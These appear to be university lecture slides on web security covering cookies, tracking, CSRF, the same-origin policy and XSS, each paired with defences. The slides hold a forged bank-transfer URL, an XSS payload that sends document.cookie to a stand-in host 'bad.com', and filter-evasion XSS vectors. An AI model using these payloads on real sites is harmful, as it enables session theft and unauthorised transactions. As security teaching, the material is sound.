Web security II

With material from Dave Levin, Mike Hicks, Lujo Bauer, Collin Jackson and Michelle Mazurek
Statefulness with Cookies

- Server maintains trusted state
  - Indexes it with a **cookie**
- Sends cookie to the client, which stores it
- Client returns it with subsequent queries to same server
Cookies

```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
```

Now, with every new request to the server, the browser will send back all previously stored cookies to the server using the **Cookie** header.

```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```
Cookies are key-value pairs

Set-Cookie: key=value; options; ....

HTTP/1.1 200 OK
Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache
Set-Cookie: session-zdnet-production=6bhqcal10cbeiagu11sisac2p3; path=/; domain=zdnet.com
Set-Cookie: zdregion=MT15LjUuMT15LjE1Mzp1czp1czpjZDJmNWY5YTdkODU1N2Q2YzMsNGU3M2Y1ZTRmN3k;
Set-Cookie: zdregion=MT15LjUuMT15LjE1Mzp1czp1czpjZDJmNWY5YTdkODU1N2Q2YzMsNGU3M2Y1ZTRmN3k;
Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
Set-Cookie: session-zdnet-production=590b97fpinqe4bg6ide4dvvq11; path=/; domain=zdnet.com
Set-Cookie: user_agent=desktop
Set-Cookie: zdnet_ad_session=f
Set-Cookie: firstpg=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-UA-Compatible: IE=edge,chrome=1
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 18922
Keep-Alive: timeout=70, max=146
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Cookies

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

Semantics

- Store “us” under the key “edition”
- This value was no good as of Feb 18, 2015
- This value should only be readable by any domain ending in .zdnet.com
- This should be available to any resource within a subdirectory of /
- Send the cookie with any future requests to <domain>/<path>
Requests with cookies

HTTP/1.1 200 OK
Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache

Set-Cookie: session-zdnet-production=6bhqca1i0cbciagu11sisac2p3; path=/; domain=zdnet.com
Set-Cookie: zregion=MTI5LjluMTI5LjE1Mzp1czp1czp1ZDJmNWY5YTk0ODU1N2Q2YzMSNGU3M2Y1ZTRmNk
Set-Cookie: zp1czp1zDJmNWY5YTk0ODU1N2Q2YzMSNGU3M2Y1ZTRmNk
Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=zdnet.com
Set-Cookie: session-zdnet-production=59ob97fpinqe4bg6ide4dvq11; path=/; domain=zdnet.com

HTTP Headers
http://zdnet.com/

GET / HTTP/1.1
Host: zdnet.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20100113 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: session-zdnet-production=59ob97fpinqe4bg6ide4dvq11; zregion=MTI5LjluMTI5LjE1Mzp1czp1czp1ZDJmNWY5YTk0ODU1N2Q2YzMSNGU3M2Y1ZTRmNk

Subsequent visit
Why use cookies?

- **Session identifier**
  - After a user has authenticated, subsequent actions provide a cookie
  - So the user does not have to authenticate each time

- **Personalization**
  - Let an anonymous user customize your site
  - Store language choice, etc., in the cookie
Why use cookies?

• Tracking users
  • Advertisers want to know your behavior
  • Ideally build a profile across different websites
  • Visit the Apple Store, then see iPad ads on Amazon?!
  • How can site B know what you did on site A?

- “Third-party cookie”
- Commonly used by large ad networks (doubleclick)

Site A loads an ad from Site C
Site C maintains cookie DB
Site B also loads ad from Site C

URLs with side effects

GET requests often have side effects on server state
  • Even though they are not supposed to

What happens if
  • the user is logged in with an active session cookie
  • a request is issued for the above link?

How could you get a user to visit a link?

http://bank.com/transfer.cgi?amt=9999&to=attacker
Exploiting URLs with side effects

Browser automatically visits the URL to obtain what it believes will be an image
Cross-Site Request Forgery

- **Target**: User who has an account on a vulnerable server

- **Attack goal**: Send requests to server *via the user’s browser*
  - Look to the server like the user intended them

- **Attacker needs**: Ability to get the user to “click a link” crafted by the attacker that goes to the vulnerable site

- **Key tricks**:
  - Requests to the web server have predictable structure
  - Use e.g., `<img src=...>` to force victim to send it
Variation: Login CSRF

- Forge login request to honest site
  - Using *attacker’s* username and password
- Victim visits the site under attacker’s account
- What harm can this cause?
Defense: Secret token

- All (sensitive) requests include a secret token
  - Attacker can’t guess it for malicious URL
  - Token is derived by e.g. hashing site secret, timestamp, session-id, additional randomness.
Defense: Referer validation

- Recall: Browser sets REFERER to source of clicked link
- Policy: Trust requests from pages user could *legitimately* reach
  - Referer: www.bank.com ✓
  - Referer: www.attacker.com ✖
  - Referer: 
  - Referer:
Dynamic web pages
• Rather than just HTML, web pages can include a program written in Javascript:

```html
<html><body>
  Hello, <b>
  <script>
    var a = 1;
    var b = 2;
    document.write("world: ", a+b, ";</b>"");
  </script>
</body></html>
```

Hello, **world: 3**
Javascript

- Powerful web page **programming language**
- Scripts embedded in pages returned by the web server
- Scripts are **executed by the browser**. They can:
  - **Alter page contents** (DOM objects)
  - **Track events** (mouse clicks, motion, keystrokes)
  - **Issue web requests** & read replies
  - **Maintain persistent connections** (AJAX)
  - **Read and set cookies**

(no relation to Java)
What could go wrong?

• Browsers need to **confine** Javascript’s power

• A script on attacker.com should not be able to:
  • Alter the layout of a **bank.com** page
  • Read user keystrokes from a **bank.com** page
  • Read cookies belonging to **bank.com**
Same Origin Policy

- Browsers provide isolation for javascript via **SOP**
- Browser associates **web page elements**...
  - Layout, cookies, events
- ...with their **origin**
  - Hostname (**bank.com**) that provided them

**SOP = only scripts received from a web page’s origin have access to the page’s elements**
Cross-site scripting (XSS)
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves script on the bank.com server
   - Server later unwittingly sends it to your browser
   - Browser executes it within same origin as bank.com
Stored XSS attack


1. Inject malicious script

2. Request content

3. Receive malicious script

4. Execute the malicious script as though the server meant us to run it

5. Steal valuable data

GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS Summary

- **Target**: User with *Javascript-enabled browser* who visits *user-influenced content* on a vulnerable web service

- **Attack goal**: Run script in user’s browser with same access as provided to server’s regular scripts (i.e., subvert SOP)

- **Attacker needs**: Ability to leave content on the web server (forums, comments, custom profiles)
  - Optional: a server for receiving stolen user information

- **Key trick**: Server fails to ensure uploaded content does not contain embedded scripts

*Where have we heard this before?*
Your friend and mine, Samy

• Samy embedded Javascript in his MySpace page (2005)
  • MySpace servers attempted to filter it, but failed

• Users who visited his page ran the program, which
  • Made them friends with Samy
  • Displayed “but most of all, Samy is my hero” on profile
  • Installed script in their profile to propagate

• From 73 to 1,000,000 friends in 20 hours
  • Took down MySpace for a weekend

Felony computer hacking; banned from computers for 3 years
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves their script on the bank.com server
   - The server later unwittingly sends it to your browser
   - Your browser, none the wiser, executes it within the same origin as the bank.com server

2. Reflected XSS attack
   - Attacker gets you to send bank.com a URL that includes Javascript
   - bank.com echoes the script back to you in its response
   - Your browser executes the script in the response within the same origin as bank.com
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute the malicious script
   as though the server meant us to run it
6. Perform attacker action

URL specially crafted by the attacker

Client

Browser

bad.com

bank.com
Echoed input

• The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response

Input from bad.com:

Result from victim.com:

<html> <title> Search results </title> <body> Results for socks: ... </body></html>
Exploiting echoed input

Input from bad.com:

```
  <script> window.open("http://bad.com/steal?c="
                  + document.cookie)
</script>
```

Result from victim.com:

```
<html> <title> Search results </title>
<body>
Results for <script> ... </script>
... 
</body></html>
```

Browser would execute this within `victim.com`’s origin
Reflected XSS Summary

- **Target**: User with *Javascript-enabled browser*; vulnerable web service that includes parts of URLs it receives in the output it generates

- **Attack goal**: Run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP)

- **Attacker needs**: Get user to click on specially-crafted URL.
  - Optional: A server for receiving stolen user information

- **Key trick**: Server does not ensure its output does not contain foreign, embedded scripts
XSS Defense: Filter/Escape

- Typical defense is **sanitizing**: remove executable portions of user-provided content
  - `<script> ... </script>` or `<javascript> ... </javascript>`
  - Libraries exist for this purpose
Did you find everything?

- Bad guys are inventive: *lots* of ways to introduce Javascript; e.g., CSS tags and XML-encoded data:
  - `<div style="background-image: url(javascript:alert(‘JavaScript’))">...

- `<XML ID=I><X><C><![CDATA[<IMG SRC="javar]]></CDATA[cript:alert(‘XSS’);"]]></CDATA[>]]>

- Worse: browsers “help” by parsing broken HTML

- Samy figured out that IE permits javascript tag to be split across two lines; evaded MySpace filter
Better defense: White list

- Instead of trying to sanitize, validate all
  - headers,
  - cookies,
  - query strings,
  - form fields, and
  - hidden fields (i.e., all parameters)

- ... against a rigorous spec of what should be allowed.
XSS vs. CSRF

- Do not confuse the two:

- XSS exploits the trust a client browser has in data sent from the legitimate website
  - So the attacker tries to control what the website sends to the client browser

- CSRF exploits the trust a legitimate website has in data sent from the client browser
  - So the attacker tries to control what the client browser sends to the website